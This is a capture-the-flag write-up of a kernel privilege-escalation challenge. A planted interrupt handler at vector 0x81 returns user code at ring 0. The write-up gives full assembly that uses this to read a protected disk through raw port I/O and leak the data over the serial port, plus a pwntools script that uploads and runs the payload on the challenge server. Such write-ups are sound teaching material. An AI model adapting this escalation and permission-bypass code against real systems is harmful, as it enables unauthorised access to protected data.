$ Pwn: Promotion

BITSCTF 2026 By TaklaMan
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}

Executive Summary

The kernel patch introduced a custom interrupt handler at vector 0x81 (asm_exc_promotion) that corrupts the iretq return frame. Triggering int 0x81 from userland returns execution at CPL=0 (kernel privilege), giving a privilege-escalation primitive.

Direct ring0 payloads that used normal stack/memory operations often caused double faults due to unusual post-interrupt execution context. The reliable solution was a stackless ring0 I/O payload:

  1. Trigger int 0x81.
  2. Run ATA PIO read on primary disk (/dev/sda equivalent) through ports 0x1f0..0x1f7.
  3. Stream sector bytes directly to serial port 0x3f8 so output returns over netcat.

This bypassed the root permission restriction on /dev/sda and avoided unstable kernel stack usage.

Vulnerability Analysis

Relevant patch behavior (from diff.txt):

  • Added interrupt vector EXC_PROMOTION_VECTOR = 0x81
  • Added handler:
    • sets saved CS in iret frame to current CS
    • zeros iret frame slot corresponding to SS
    • executes iretq

Observed behavior on target:

  • int 0x81 runs and returns successfully.
  • A probe binary exiting with CS as exit code returned 16 (0x10), confirming ring0 CS.
  • cli after int 0x81 succeeded, confirming privileged instruction execution.

Exploitation Strategy

Why this worked reliably

  • Accessing /dev/sda directly from user (uid=1000) is denied.
  • Ring0 allows direct port I/O.
  • Avoiding stack-heavy/control-flow-heavy kernel operations prevents double-fault crashes.
  • Serial exfiltration (out 0x3f8) gives a direct output path to the remote session.

Data path

  • ATA READ SECTORS (0x20) for LBA=0, count=1
  • Read 256 words from data port 0x1f0
  • Emit both bytes of each word through COM1 TX (0x3f8) after checking LSR THRE (0x3fd & 0x20)

Main Program (Exploit Payload)

BITS 64
global _start

section .text
_start:
    int 0x81
    cli

.wait_bsy0:
    mov dx, 0x1f7
    in al, dx
    test al, 0x80
    jnz .wait_bsy0

    mov dx, 0x1f6
    mov al, 0xE0
    out dx, al

    mov dx, 0x1f2
    mov al, 1
    out dx, al

    mov dx, 0x1f3
    xor al, al
    out dx, al

    mov dx, 0x1f4
    xor al, al
    out dx, al

    mov dx, 0x1f5
    xor al, al
    out dx, al

    mov dx, 0x1f7
    mov al, 0x20
    out dx, al

.wait_drq:
    mov dx, 0x1f7
    in al, dx
    test al, 0x80
    jnz .wait_drq
    test al, 0x08
    jz .wait_drq

    mov ecx, 256
.read_loop:
    mov dx, 0x1f0
    in ax, dx

    ; send low byte
    mov bl, al
.wait_tx1:
    mov dx, 0x3fd
    in al, dx
    test al, 0x20
    jz .wait_tx1
    mov dx, 0x3f8
    mov al, bl
    out dx, al

    ; send high byte
    mov bl, ah
.wait_tx2:
    mov dx, 0x3fd
    in al, dx
    test al, 0x20
    jz .wait_tx2
    mov dx, 0x3f8
    mov al, bl
    out dx, al

    dec ecx
    jnz .read_loop

.hang:
    hlt
    jmp .hang

Minimal Remote Runner (Pwntools)

from pwn import *
import re

context.log_level = 'info'

# Build first:
# nasm -f elf64 ata_to_serial.asm -o ata_to_serial.o
# ld -o ata_to_serial ata_to_serial.o

payload_b64 = open('ata_to_serial.b64', 'r').read().strip()

io = remote('20.193.149.152', 1337)
io.recvuntil(b'~ $ ')

io.sendline(b"base64 -d > /tmp/s <<'EOF'")
for i in range(0, len(payload_b64), 300):
    io.sendline(payload_b64[i:i+300].encode())
io.sendline(b'EOF')

aio = io.recvuntil(b'~ $ ')

io.sendline(b'chmod +x /tmp/s')
io.recvuntil(b'~ $ ')

io.sendline(b'/tmp/s')
out = io.recvrepeat(5)
print(out)

m = re.search(br'BITSCTF\\{[^\\}\\n]+\\}', out)
if m:
    print('FLAG:', m.group(0).decode())
else:
    print('Flag not found in captured output')

io.close()